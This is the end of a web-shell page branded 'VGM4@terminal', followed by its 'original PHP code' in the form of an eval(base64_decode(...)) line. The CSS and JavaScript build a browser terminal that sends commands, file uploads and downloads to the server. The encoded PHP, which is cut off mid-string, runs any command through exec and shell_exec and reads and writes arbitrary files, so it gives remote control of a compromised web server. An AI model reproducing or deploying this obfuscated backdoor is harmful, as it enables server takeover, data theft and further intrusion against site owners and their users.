                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }

            #shell-content {
                height: 498px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #ff0000;
                text-align: center;
            }

            @media (max-width: 991px) {
                #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }

                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }

                #shell {
                    margin-top: 0;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #ff2020;
            }

            .shell-prompt > span {
                color: #00ff00;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #00ff00;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(response.name, response.file)
                        } else {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion

                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "vgm4@terminal:<span title=\"" + cwd + "\">" + shortCwd + "</span>$";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

                if (target.tagName === "SELECT") {
                    return;
                }

                if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };

            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    

    
        <div id="shell">
            <pre id="shell-content">                <div id="shell-logo">
__     ______ __  __ _  _     ____  _                      _             _ <span></span>
\ \   / / ___|  \/  | || |   / __ \| |_ ___ _ __ _ __ ___ (_)_ __   __ _| |<span></span>
 \ \ / / |  _| |\/| | || |_ / / _` | __/ _ \ '__| '_ ` _ \| | '_ \ / _` | |<span></span>
  \ V /| |_| | |  | |__   _| | (_| | ||  __/ |  | | | | | | | | | | (_| | |<span></span>
   \_/  \____|_|  |_|  |_|  \ \__,_|\__\___|_|  |_| |_| |_|_|_| |_|\__,_|_|<span></span>
                             \____/                                        <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">vgm4@terminal:<span title="/var/www/html">…/www/html</span>$</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)">
                </div>
            </div>
        </div>
    

</body></html>

Original PHP code

<?php eval("?>".base64_decode("PD9waHANCg0KZnVuY3Rpb24gZmVhdHVyZVNoZWxsKCRjbWQsICRjd2QpIHsNCiAgICAkc3Rkb3V0ID0gYXJyYXkoKTsNCg0KICAgIGlmIChwcmVnX21hdGNoKCIvXlxzKmNkXHMqJC8iLCAkY21kKSkgew0KICAgICAgICAvLyBwYXNzDQogICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goIi9eXHMqY2RccysoLispXHMqKDI+JjEpPyQvIiwgJGNtZCkpIHsNCiAgICAgICAgY2hkaXIoJGN3ZCk7DQogICAgICAgIHByZWdfbWF0Y2goIi9eXHMqY2RccysoW15cc10rKVxzKigyPiYxKT8kLyIsICRjbWQsICRtYXRjaCk7DQogICAgICAgIGNoZGlyKCRtYXRjaFsxXSk7DQogICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goIi9eXHMqZG93bmxvYWRccytbXlxzXStccyooMj4mMSk/JC8iLCAkY21kKSkgew0KICAgICAgICBjaGRpcigkY3dkKTsNCiAgICAgICAgcHJlZ19tYXRjaCgiL15ccypkb3dubG9hZFxzKyhbXlxzXSspXHMqKDI+JjEpPyQvIiwgJGNtZCwgJG1hdGNoKTsNCiAgICAgICAgcmV0dXJuIGZlYXR1cmVEb3dubG9hZCgkbWF0Y2hbMV0pOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGNoZGlyKCRjd2QpOw0KICAgICAgICBleGVjKCRjbWQsICRzdGRvdXQpOw0KICAgIH0NCg0KICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgInN0ZG91dCIgPT4gJHN0ZG91dCwNCiAgICAgICAgImN3ZCIgPT4gZ2V0Y3dkKCkNCiAgICApOw0KfQ0KDQpmdW5jdGlvbiBmZWF0dXJlUHdkKCkgew0KICAgIHJldHVybiBhcnJheSgiY3dkIiA9PiBnZXRjd2QoKSk7DQp9DQoNCmZ1bmN0aW9uIGZlYXR1cmVIaW50KCRmaWxlTmFtZSwgJGN3ZCwgJHR5cGUpIHsNCiAgICBjaGRpcigkY3dkKTsNCiAgICBpZiAoJHR5cGUgPT0gJ2NtZCcpIHsNCiAgICAgICAgJGNtZCA9ICJjb21wZ2VuIC1jICRmaWxlTmFtZSI7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGNtZCA9ICJjb21wZ2VuIC1mICRmaWxlTmFtZSI7DQogICAgfQ0KICAgICRjbWQgPSAiL2Jpbi9iYXNoIC1jIFwiJGNtZFwiIjsNCiAgICAkZmlsZXMgPSBleHBsb2RlKCJcbiIsIHNoZWxsX2V4ZWMoJGNtZCkpOw0KICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgJ2ZpbGVzJyA9PiAkZmlsZXMsDQogICAgKTsNCn0NCg0KZnVuY3Rpb24gZmVhdHVyZURvd25sb2FkKCRmaWxlUGF0aCkgew0KICAgICRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlUGF0aCk7DQogICAgaWYgKCRmaWxlID09PSBGQUxTRSkgew0KICAgICAgICByZXR1cm4gYXJyYXkoDQogICAgICAgICAgICAnc3Rkb3V0JyA9PiBhcnJheSgnRmlsZSBub3QgZm91bmQgLyBubyByZWFkIHBlcm1pc3Npb24uJyksDQogICAgICAgICAgICAnY3dkJyA9PiBnZXRjd2QoKQ0KICAgICAgICApOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgICAgICduYW1lJyA9PiBiYXNlbmFtZSgkZmlsZVBhdGgpLA0KICAgICAgICAgICAgJ2ZpbGUnID0+IGJhc2U2NF9lbmNvZGUoJGZpbGUpDQogICAgICAgICk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBmZWF0dXJlVXBsb2FkKCRwYXRoLCAkZmlsZSwgJGN3ZCkgew0KICAgIGNoZGlyKCRjd2QpOw0KICAgICRmID0gQGZvcGVuKCRwYXRoLCAnd2InKTsNCiAgICBpZiAoJGYgPT09IEZBTFNFKSB7DQogICAgICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgICAgICdzdGRvdXQnID0+IGFycmF5KCdJbnZhbGlkIHBhdGggLyBubyB3cml0ZSBwZXJtaXNzaW9uLicpLA0KICAgICAgICAgICAgJ2N3ZCcgPT4gZ2V0Y3dkKCkNCiAgICAgICAgKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBmd3JpdGUoJGYsIGJhc2U2NF9kZWNvZGUoJGZpbGUpKTsNCiAgICAgICAgZmNsb3NlKCRmKTsNCiAgICAgICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAgICAgJ3N0ZG91dCcgPT4gYXJyYXkoJ0RvbmUuJyksDQogICAgICAgICAgICAnY3dkJyA9PiBnZXRjd2QoKQ0KICAgICAgICApOw0KICAgIH0NCn0NCg0KaWYgKGlzc2V0KCRfR0VUWyJmZWF0dXJlIl0pKSB7DQoNCiAgICAkcmVzcG9uc2UgPSBOVUxMOw0KDQogICAgc3dpdGNoICgkX0dFVFsiZmVhdHVyZSJdKSB7DQogICAgICAgIGNhc2UgInNoZWxsIjoNCiAgICAgICAgICAgICRjbWQgPSAkX1BPU1RbJ2NtZCddOw0KICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvMj4vJywgJGNtZCkpIHsNCiAgICAgICAgICAgICAgICAkY21kIC49ICcgMj4mMSc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcmVzcG9uc2UgPSBmZWF0dXJlU2hlbGwoJGNtZCwgJF9QT1NUWyJjd2QiXSk7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAicHdkIjoNCiAgICAgICAgICAgICRyZXNwb25zZSA9IGZlYXR1cmVQd2QoKTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICJoaW50IjoNCiAgICAgICAgICAgICRyZXNwb25zZSA9IGZlYXR1cmVIaW50KCRfUE9TVFsnZmlsZW5hbWUnXSwgJF9QT1NUWydjd2QnXSwgJF9QT1NUWyd0eXBlJ10pOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3VwbG9hZCc6DQogICAgICAgICAgICAkcmVzcG9uc2UgPSBmZWF0dXJlVXBsb2FkKCRfUE9TVFsncGF0aCddLCAkX1BPU1RbJ2ZpbGUnXSwgJF9QT1NUWydjd2QnXSk7DQogICAgfQ0KDQogICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iKTsNCiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7DQogICAgZGllKCk7DQp9DQoNCj8+PCFET0NUWVBFIGh0bWw+DQoNCjxodG1sPg0KDQogICAgPGhlYWQ+DQogICAgPGxpbmsgcmVsPSJpY29uIiB0eXBlPSJpbWFnZS94LWljb24iIGhyZWY9Imh0dHBzOi8vY29udmVydGljby5jb20vaW1hZ2VzLzE2NDk4NzI4MDYuMjg2L1VudGl0bGVkLTEuaWNvIj4NCiAgICAgICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiIC8+DQogICAgICAgIDx0aXRsZT5WR000QHNoZWxsOn4kPC90aXRsZT4NCiAgICAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiIC8+DQogICAgICAgIDxoMSBzdHlsZT0iZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgdGV4dC1hbGlnbjogY2VudGVyOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDBmZjAwOyI+TXJWR3Vuejwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjZmZmZmZmOyI+JmFtcDs8L3NwYW4+IDxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsiPk1ySDR0ZWQ8L3NwYW4+PC9oMT4NCiAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgaHRtbCwgYm9keSB7DQogICAgICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgICAgIHBhZGRpbmc6IDA7DQogICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzE5MTkxOTsNCiAgICAgICAgICAgICAgICBjb2xvcjogI2VlZTsNCiAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAqOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7DQogICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4Ow0KICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzNTM1MzU7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICo6Oi13ZWJraXQtc2Nyb2xsYmFyIHsNCiAgICAgICAgICAgICAgICB3aWR0aDogOHB4Ow0KICAgICAgICAgICAgICAgIGhlaWdodDogOHB4Ow0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7DQogICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4Ow0KICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKTsNCiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjYmNiY2JjOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAjc2hlbGwgew0KICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDAwMDA7DQogICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAxMjM0cHg7DQogICAgICAgICAgICAgICAgbWFyZ2luOiA1MHB4IGF1dG8gMCBhdXRvOw0KICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCA1cHggcmdiYSgwLCAwLCAwLCAuMyk7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMHB0Ow0KICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogc3RyZXRjaDsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgI3NoZWxsLWNvbnRlbnQgew0KICAgICAgICAgICAgICAgIGhlaWdodDogNDk4cHg7DQogICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGF1dG87DQogICAgICAgICAgICAgICAgcGFkZGluZzogNXB4Ow0KICAgICAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsNCiAgICAgICAgICAgICAgICBmbGV4LWdyb3c6IDE7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICNzaGVsbC1sb2dvIHsNCiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmMDAwMDsNCiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA5OTFweCkgew0KICAgICAgICAgICAgICAgICNzaGVsbC1sb2dvIHsNCiAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiA2cHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbjogLTI1cHggMDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBodG1sLCBib2R5LCAjc2hlbGwgew0KICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7DQogICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IG5vbmU7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgI3NoZWxsIHsNCiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogMDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjdweCkgew0KICAgICAgICAgICAgICAgICNzaGVsbC1pbnB1dCB7DQogICAgICAgICAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogMzIwcHgpIHsNCiAgICAgICAgICAgICAgICAjc2hlbGwtbG9nbyB7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogNXB4Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLnNoZWxsLXByb21wdCB7DQogICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgICAgICAgICAgY29sb3I6ICNmZjIwMjA7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5zaGVsbC1wcm9tcHQgPiBzcGFuIHsNCiAgICAgICAgICAgICAgICBjb2xvcjogIzAwZmYwMDsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgI3NoZWxsLWlucHV0IHsNCiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgLTFweCAwIHJnYmEoMCwgMCwgMCwgLjMpOw0KICAgICAgICAgICAgICAgIGJvcmRlci10b3A6IHJnYmEoMjU1LCAyNTUsIDI1NSwgLjA1KSBzb2xpZCAxcHg7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICNzaGVsbC1pbnB1dCA+IGxhYmVsIHsNCiAgICAgICAgICAgICAgICBmbGV4LWdyb3c6IDA7DQogICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICAgICAgcGFkZGluZzogMCA1cHg7DQogICAgICAgICAgICAgICAgaGVpZ2h0OiAzMHB4Ow0KICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAzMHB4Ow0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAjc2hlbGwtaW5wdXQgI3NoZWxsLWNtZCB7DQogICAgICAgICAgICAgICAgaGVpZ2h0OiAzMHB4Ow0KICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAzMHB4Ow0KICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsNCiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsNCiAgICAgICAgICAgICAgICBjb2xvcjogIzAwZmYwMDsNCiAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOw0KICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTBwdDsNCiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgICAgICBhbGlnbi1zZWxmOiBjZW50ZXI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICNzaGVsbC1pbnB1dCBkaXYgew0KICAgICAgICAgICAgICAgIGZsZXgtZ3JvdzogMTsNCiAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogc3RyZXRjaDsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgI3NoZWxsLWlucHV0IGlucHV0IHsNCiAgICAgICAgICAgICAgICBvdXRsaW5lOiBub25lOw0KICAgICAgICAgICAgfQ0KICAgICAgICA8L3N0eWxlPg0KDQogICAgICAgIDxzY3JpcHQ+DQogICAgICAgICAgICB2YXIgQ1dEID0gbnVsbDsNCiAgICAgICAgICAgIHZhciBjb21tYW5kSGlzdG9yeSA9IFtdOw0KICAgICAgICAgICAgdmFyIGhpc3RvcnlQb3NpdGlvbiA9IDA7DQogICAgICAgICAgICB2YXIgZVNoZWxsQ21kSW5wdXQgPSBudWxsOw0KICAgICAgICAgICAgdmFyIGVTaGVsbENvbnRlbnQgPSBudWxsOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBfaW5zZXJ0Q29tbWFuZChjb21tYW5kKSB7DQogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gIlxuXG4iOw0KICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MICs9ICc8c3BhbiBjbGFzcz1cInNoZWxsLXByb21wdFwiPicgKyBnZW5Qcm9tcHQoQ1dEKSArICc8L3NwYW4+ICc7DQogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gZXNjYXBlSHRtbChjb21tYW5kKTsNCiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCArPSAiXG4iOw0KICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuc2Nyb2xsVG9wID0gZVNoZWxsQ29udGVudC5zY3JvbGxIZWlnaHQ7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIF9pbnNlcnRTdGRvdXQoc3Rkb3V0KSB7DQogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gZXNjYXBlSHRtbChzdGRvdXQpOw0KICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuc2Nyb2xsVG9wID0gZVNoZWxsQ29udGVudC5zY3JvbGxIZWlnaHQ7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIF9kZWZlcihjYWxsYmFjaykgew0KICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoY2FsbGJhY2ssIDApOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiBmZWF0dXJlU2hlbGwoY29tbWFuZCkgew0KDQogICAgICAgICAgICAgICAgX2luc2VydENvbW1hbmQoY29tbWFuZCk7DQogICAgICAgICAgICAgICAgaWYgKC9eXHMqdXBsb2FkXHMrW15cc10rXHMqJC8udGVzdChjb21tYW5kKSkgew0KICAgICAgICAgICAgICAgICAgICBmZWF0dXJlVXBsb2FkKGNvbW1hbmQubWF0Y2goL15ccyp1cGxvYWRccysoW15cc10rKVxzKiQvKVsxXSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIGlmICgvXlxzKmNsZWFyXHMqJC8udGVzdChjb21tYW5kKSkgew0KICAgICAgICAgICAgICAgICAgICAvLyBCYWNrZW5kIHNoZWxsIFRFUk0gZW52aXJvbm1lbnQgdmFyaWFibGUgbm90IHNldC4gQ2xlYXIgY29tbWFuZCBoaXN0b3J5IGZyb20gVUkgYnV0IGtlZXAgaW4gYnVmZmVyDQogICAgICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MID0gJyc7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgbWFrZVJlcXVlc3QoIj9mZWF0dXJlPXNoZWxsIiwge2NtZDogY29tbWFuZCwgY3dkOiBDV0R9LCBmdW5jdGlvbiAocmVzcG9uc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyZXNwb25zZS5oYXNPd25Qcm9wZXJ0eSgnZmlsZScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZmVhdHVyZURvd25sb2FkKHJlc3BvbnNlLm5hbWUsIHJlc3BvbnNlLmZpbGUpDQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9pbnNlcnRTdGRvdXQocmVzcG9uc2Uuc3Rkb3V0LmpvaW4oIlxuIikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVwZGF0ZUN3ZChyZXNwb25zZS5jd2QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGZlYXR1cmVIaW50KCkgew0KICAgICAgICAgICAgICAgIGlmIChlU2hlbGxDbWRJbnB1dC52YWx1ZS50cmltKCkubGVuZ3RoID09PSAwKSByZXR1cm47ICAvLyBmaWVsZCBpcyBlbXB0eSAtPiBub3RoaW5nIHRvIGNvbXBsZXRlDQoNCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBfcmVxdWVzdENhbGxiYWNrKGRhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEuZmlsZXMubGVuZ3RoIDw9IDEpIHJldHVybjsgIC8vIG5vIGNvbXBsZXRpb24NCg0KICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YS5maWxlcy5sZW5ndGggPT09IDIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh0eXBlID09PSAnY21kJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gZGF0YS5maWxlc1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGN1cnJlbnRWYWx1ZSA9IGVTaGVsbENtZElucHV0LnZhbHVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gY3VycmVudFZhbHVlLnJlcGxhY2UoLyhbXlxzXSopJC8sIGRhdGEuZmlsZ